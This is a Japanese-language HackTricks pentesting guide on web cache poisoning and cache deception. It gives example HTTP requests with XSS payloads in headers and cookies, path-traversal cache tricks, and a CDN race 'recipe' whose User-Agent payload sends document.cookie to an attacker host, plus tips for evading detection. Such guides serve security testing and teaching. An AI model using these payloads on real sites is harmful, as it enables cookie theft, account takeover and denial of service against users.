277 lines
26 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# キャッシュポイズニングとキャッシュデセプション
{{#include ../../banners/hacktricks-training.md}}
## 違い
> **ウェブキャッシュポイズニングとウェブキャッシュデセプションの違いは何ですか?**
>
> - **ウェブキャッシュポイズニング**では、攻撃者がアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、そのコンテンツが他のアプリケーションユーザーに提供されます。
> - **ウェブキャッシュデセプション**では、攻撃者がアプリケーションに他のユーザーに属する機密コンテンツをキャッシュに保存させ、攻撃者がそのコンテンツをキャッシュから取得します。
## キャッシュポイズニング
キャッシュポイズニングは、クライアント側のキャッシュを操作して、クライアントが予期しない、部分的、または攻撃者の制御下にあるリソースを読み込むように強制することを目的としています。影響の程度は、影響を受けるページの人気に依存し、汚染されたレスポンスはキャッシュ汚染の期間中にそのページを訪れるユーザーにのみ提供されます。
キャッシュポイズニング攻撃の実行にはいくつかのステップがあります:
1. **キーのない入力の特定**:これらは、リクエストがキャッシュされるために必須ではないパラメータですが、サーバーが返すレスポンスを変更する可能性があります。これらの入力を特定することは重要であり、キャッシュを操作するために悪用される可能性があります。
2. **キーのない入力の悪用**:キーのない入力を特定した後、次のステップは、攻撃者に利益をもたらす方法でサーバーのレスポンスを変更するためにこれらのパラメータを誤用する方法を考えることです。
3. **汚染されたレスポンスがキャッシュされることを確認**:最終ステップは、操作されたレスポンスがキャッシュに保存されることを確認することです。これにより、キャッシュが汚染されている間に影響を受けるページにアクセスするユーザーは、汚染されたレスポンスを受け取ります。
### 発見HTTPヘッダーを確認
通常、レスポンスが**キャッシュに保存された**場合、**それを示すヘッダーがあります**。どのヘッダーに注意を払うべきかは、この投稿で確認できます:[**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
### 発見:キャッシュエラーコード
レスポンスがキャッシュに保存されていると考えている場合、**不正なヘッダーでリクエストを送信**してみると良いでしょう。これには**ステータスコード400**で応答されるはずです。その後、リクエストに通常アクセスして、**レスポンスが400ステータスコード**であれば、それが脆弱であることがわかりますさらにはDoS攻撃を実行することも可能です
さらにオプションを見つけることができます:
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
ただし、**これらの種類のステータスコードがキャッシュされないこともある**ため、このテストは信頼できない可能性があります。
### 発見:キーのない入力を特定し評価する
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)を使用して、**ページのレスポンスを変更する可能性のあるパラメータやヘッダーをブルートフォース**することができます。たとえば、ページが`X-Forwarded-For`ヘッダーを使用してクライアントにスクリプトをそこから読み込むように指示している場合があります:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### バックエンドサーバーから有害な応答を引き出す
パラメータ/ヘッダーが特定されたら、それがどのように**サニタイズ**されているか、また**どこで**応答に**反映**されているかを確認します。これを悪用する方法はありますかXSSを実行する、またはあなたが制御するJSコードを読み込むDoSを実行する...
### 応答をキャッシュする
悪用できる**ページ**を**特定**し、使用する**パラメータ**/**ヘッダー**と**悪用方法**が決まったら、そのページをキャッシュする必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。
応答のヘッダー**`X-Cache`**は非常に便利で、リクエストがキャッシュされていない場合は**`miss`**の値を持ち、キャッシュされている場合は**`hit`**の値を持つ可能性があります。\
ヘッダー**`Cache-Control`**も、リソースがキャッシュされているかどうか、次回リソースが再キャッシュされるのはいつかを知るために興味深いです: `Cache-Control: public, max-age=1800`
もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーがない場合でも、**キャッシュキーの一部として扱われる追加のヘッダー**を**示すために**よく使用されます。したがって、ターゲットとする被害者の`User-Agent`を知っているユーザーは、その特定の`User-Agent`を使用するユーザーのためにキャッシュを汚染することができます。
キャッシュに関連するもう一つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに存在している秒数を定義します。
リクエストをキャッシュする際は、使用するヘッダーに**注意してください**。なぜなら、いくつかのヘッダーは**予期せず**キーとして**使用される可能性があり、**被害者はその同じヘッダーを使用する必要があるからです。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して、機能しているか確認してください。
## 悪用の例
### 最も簡単な例
`X-Forwarded-For`のようなヘッダーが、サニタイズされずに応答に反映されています。\
基本的なXSSペイロードを送信し、キャッシュを汚染することで、そのページにアクセスするすべての人がXSSされることになります:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Note that this will poison a request to `/en?region=uk` not to `/en`_
### Cache poisoning to DoS
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
### Cache poisoning through CDNs
**[この解説](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** では、以下の単純なシナリオが説明されています:
- CDNは`/share/`以下のすべてをキャッシュします。
- CDNは`%2F..%2F`をデコードまたは正規化しないため、**他の機密情報がキャッシュされる場所にアクセスするためのパストラバーサルとして使用できます**。例えば、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- ウェブサーバーは`%2F..%2F`をデコードおよび正規化し、`/api/auth/session`で応答します。これには**認証トークン**が含まれています。
### Using web cache poisoning to exploit cookie-handling vulnerabilities
クッキーはページの応答に反映されることもあります。これを悪用してXSSを引き起こすことができれば、悪意のあるキャッシュ応答を読み込む複数のクライアントでXSSを利用できる可能性があります。
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
注意:脆弱なクッキーがユーザーによって非常に使用されている場合、通常のリクエストがキャッシュをクリアします。
### デリミタ、正規化、ドットを使用して不一致を生成する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
確認:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### パストラバーサルを使用したキャッシュポイズニングによるAPIキーの盗難 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**この解説は**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLを使用してOpenAI APIキーを盗むことが可能だった理由を説明しています。`/share/*` に一致するものは、CloudflareがURLを正規化することなくキャッシュされ、リクエストがウェブサーバーに到達したときに正規化されました。
これは以下でもより詳しく説明されています:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### 複数のヘッダーを使用してウェブキャッシュポイズニングの脆弱性を悪用する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
時には、キャッシュを悪用するために**複数のキーなし入力を悪用する必要があります**。例えば、`X-Forwarded-Host`をあなたが制御するドメインに設定し、`X-Forwarded-Scheme``http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。**もし**サーバーがすべての**HTTP**リクエストを**HTTPS**に**転送**し、リダイレクトのドメイン名としてヘッダー`X-Forwarded-Scheme`を使用している場合、リダイレクトによってページが指す場所を制御できます。
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### 限定された `Vary` ヘッダーを利用した攻撃
もし **`X-Host`** ヘッダーが **JSリソースを読み込むためのドメイン名** として使用されているが、レスポンスの **`Vary`** ヘッダーが **`User-Agent`** を示している場合、被害者の User-Agent を抽出し、そのユーザーエージェントを使用してキャッシュを汚染する方法を見つける必要があります。
```html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
### Fat Get
URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのものを使用するが、キャッシュサーバーがURLのものをキャッシュする場合、そのURLにアクセスする誰もが実際にはボディからのパラメータを使用します。James KettleがGithubウェブサイトで発見した脆弱性のように:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
```
ポートスウィガーのラボについて: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### パラメータクロッキング
例えば、**パラメータ**をrubyサーバーで**`;`**の文字を使って**`&`**の代わりに分けることが可能です。これを利用して、キーのないパラメータの値をキーのあるものの中に入れ込み、悪用することができます。
ポートスウィガーのラボ: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### HTTPリクエストスマグリングを悪用したHTTPキャッシュポイズニングの悪用
[HTTPリクエストスマグリングを悪用したキャッシュポイズニング攻撃の実行方法](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)についてここで学びます。
### ウェブキャッシュポイズニングの自動テスト
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)を使用して、ウェブキャッシュポイズニングを自動的にテストできます。多くの異なる技術をサポートしており、高度にカスタマイズ可能です。
使用例: `wcvs -u example.com`
### ヘッダーリフレクションXSS + CDN/WAF支援キャッシュシーディングUser-Agent、自動キャッシュされた.js
この実世界のパターンは、ヘッダーに基づくリフレクションプリミティブをCDN/WAFの動作と連携させて、他のユーザーに提供されるキャッシュされたHTMLを確実にポイズンします
- メインHTMLは信頼できないリクエストヘッダー`User-Agent`)を実行可能なコンテキストに反映しました。
- CDNはキャッシュヘッダーを削除しましたが、内部/オリジンキャッシュが存在しました。CDNはまた、静的拡張子`.js`で終わるリクエストを自動的にキャッシュしましたが、WAFは静的アセットのGETに対して弱いコンテンツ検査を適用しました。
- リクエストフローの特異性により、`.js`パスへのリクエストが次のメインHTMLに使用されるキャッシュキー/バリアントに影響を与え、ヘッダーリフレクションを介してクロスユーザーXSSを可能にしました。
実用的なレシピ人気のあるCDN/WAFで観察された
1) クリーンなIPから以前の評判に基づくダウングレードを避けるため、ブラウザまたはBurp Proxy Match & Replaceを介して悪意のある`User-Agent`を設定します。
2) Burp Repeaterで、2つのリクエストのグループを準備し、「グループを並行して送信」を使用しますシングルパケットモードが最適です
- 最初のリクエスト:同じオリジンの`.js`リソースパスをGETし、悪意のある`User-Agent`を送信します。
- すぐに:メインページ(`/`をGETします。
3) CDN/WAFのルーティングレースと自動キャッシュされた`.js`が、同じキャッシュキー条件(例:同じ`Vary`次元の`User-Agent`を共有する他の訪問者に提供されるポイズンされたキャッシュHTMLバリアントをしばしばシードします。
例のヘッダーペイロードHttpOnlyでないクッキーを抽出するため
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
運用のヒント:
- 多くのCDNはキャッシュヘッダーを隠します; 毒性があるように見えるのは、数時間ごとのリフレッシュサイクルのみです。複数の視点IPを使用し、レート制限や評判トリガーを避けるためにスロットルをかけてください。
- CDNの自社クラウドからのIPを使用すると、ルーティングの一貫性が向上することがあります。
- 厳格なCSPが存在する場合でも、反射がメインHTMLコンテキストで実行され、CSPがインライン実行を許可するか、コンテキストによってバイパスされる場合は、これが機能します。
影響:
- セッションクッキーが`HttpOnly`でない場合、毒性のあるHTMLを提供されるすべてのユーザーから`document.cookie`を大量に抽出することで、ゼロクリックのATOが可能です。
防御策:
- リクエストヘッダーをHTMLに反映させるのをやめてください; 避けられない場合は厳密にコンテキストエンコードしてください。CDNとオリジンのキャッシュポリシーを整合させ、信頼できないヘッダーでの変動を避けてください。
- WAFが`.js`リクエストと静的パスに対して一貫してコンテンツ検査を適用することを確認してください。
- セッションクッキーに`HttpOnly`(および`Secure``SameSite`)を設定してください。
## 脆弱な例
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATSはURL内のフラグメントを削除せずに転送し、ホスト、パス、クエリのみを使用してキャッシュキーを生成しましたフラグメントは無視されます。したがって、リクエスト`/#/../?r=javascript:alert(1)`はバックエンドに`/#/../?r=javascript:alert(1)`として送信され、キャッシュキーにはペイロードが含まれておらず、ホスト、パス、クエリのみが含まれていました。
### GitHub CP-DoS
content-typeヘッダーに不正な値を送信すると、405キャッシュレスポンスがトリガーされました。キャッシュキーにはクッキーが含まれていたため、認証されていないユーザーのみを攻撃することが可能でした。
### GitLab + GCP CP-DoS
GitLabはGCPバケットを使用して静的コンテンツを保存します。**GCPバケット**は**ヘッダー`x-http-method-override`**をサポートしています。したがって、ヘッダー`x-http-method-override: HEAD`を送信し、キャッシュを毒化して空のレスポンスボディを返すことが可能でした。また、`PURGE`メソッドもサポートされていました。
### Rack Middleware (Ruby on Rails)
Ruby on Railsアプリケーションでは、Rackミドルウェアがよく利用されます。Rackコードの目的は、**`x-forwarded-scheme`**ヘッダーの値をリクエストのスキームとして設定することです。ヘッダー`x-forwarded-scheme: http`が送信されると、同じ場所への301リダイレクトが発生し、そのリソースに対してサービス拒否DoSを引き起こす可能性があります。さらに、アプリケーションは`X-forwarded-host`ヘッダーを認識し、ユーザーを指定されたホストにリダイレクトする可能性があります。この動作により、攻撃者のサーバーからJavaScriptファイルが読み込まれ、セキュリティリスクが生じる可能性があります。
### 403とストレージバケット
Cloudflareは以前、403レスポンスをキャッシュしていました。誤ったAuthorizationヘッダーでS3またはAzure Storage Blobsにアクセスしようとすると、403レスポンスがキャッシュされました。Cloudflareは403レスポンスのキャッシュを停止しましたが、この動作は他のプロキシサービスにまだ存在する可能性があります。
### キー付きパラメータの注入
キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。たとえば、FastlyのVarnishはリクエストの`size`パラメータをキャッシュしました。しかし、パラメータのURLエンコードされたバージョン例:`siz%65`)が誤った値で送信された場合、キャッシュキーは正しい`size`パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の`size`パラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドによって利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。
### ユーザーエージェントルール
一部の開発者は、FFUFやNucleiのような高トラフィックツールのユーザーエージェントに一致するリクエストをブロックしてサーバーの負荷を管理します。皮肉なことに、このアプローチはキャッシュの毒化やDoSなどの脆弱性を引き起こす可能性があります。
### 不正なヘッダーフィールド
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)は、ヘッダー名における許可される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは、理想的には400 Bad Requestレスポンスをトリガーするべきです。実際には、サーバーは常にこの標準に従うわけではありません。注目すべき例はAkamaiで、無効な文字を含むヘッダーを転送し、`cache-control`ヘッダーが存在しない限り、400エラーをキャッシュします。`\\`のような不正な文字を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生するという悪用可能なパターンが特定されました。
### 新しいヘッダーの発見
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## キャッシュの欺瞞
キャッシュの欺瞞の目的は、クライアントに**機密情報を持つリソースをキャッシュに保存させること**です。
まず、**.css**、**.js**、**.png**などの**拡張子**は通常**キャッシュに保存されるように**設定されています。したがって、`www.example.com/profile.php/nonexistent.js`にアクセスすると、キャッシュはおそらくレスポンスを保存します。なぜなら、`.js`の**拡張子**を見ているからです。しかし、**アプリケーション**が_ www.example.com/profile.php_に保存された**機密**ユーザーコンテンツでリプレイしている場合、他のユーザーからそのコンテンツを**盗む**ことができます。
他にテストすること:
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _あまり知られていない拡張子を使用する_ `.avif`
非常に明確な例は、この書き込みに見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
この例では、_http://www.example.com/home.php/non-existent.css_のような存在しないページを読み込むと、_http://www.example.com/home.php_**ユーザーの機密情報を含む**)の内容が返され、キャッシュサーバーが結果を保存することが説明されています。\
その後、**攻撃者**は自分のブラウザで_http://www.example.com/home.php/non-existent.css_にアクセスし、以前にアクセスしたユーザーの**機密情報**を観察できます。
**キャッシュプロキシ**は、ファイルの**拡張子**_.css_に基づいてファイルを**キャッシュ**するように**設定**されるべきであり、コンテンツタイプに基づいてはなりません。例として、_http://www.example.com/home.php/non-existent.css_は、_.css_ファイルに期待される`text/css` MIMEタイプの代わりに`text/html`コンテンツタイプを持ちます。
ここで、[HTTPリクエストスムージングを悪用したキャッシュの欺瞞攻撃の実行方法](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)について学びましょう。
## 自動ツール
- [**toxicache**](https://github.com/xhzeem/toxicache): URLのリストでウェブキャッシュ毒化の脆弱性を見つけ、複数の注入技術をテストするためのGolangスキャナー。
## 参考文献
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
- [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
{{#include ../../banners/hacktricks-training.md}}